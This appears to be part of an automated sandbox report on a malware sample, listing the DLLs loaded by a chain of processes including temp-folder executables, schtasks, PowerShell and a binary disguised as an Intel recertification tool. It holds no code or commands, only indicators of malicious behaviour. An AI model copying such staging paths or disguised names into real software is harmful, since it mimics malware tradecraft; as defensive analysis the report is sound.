Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
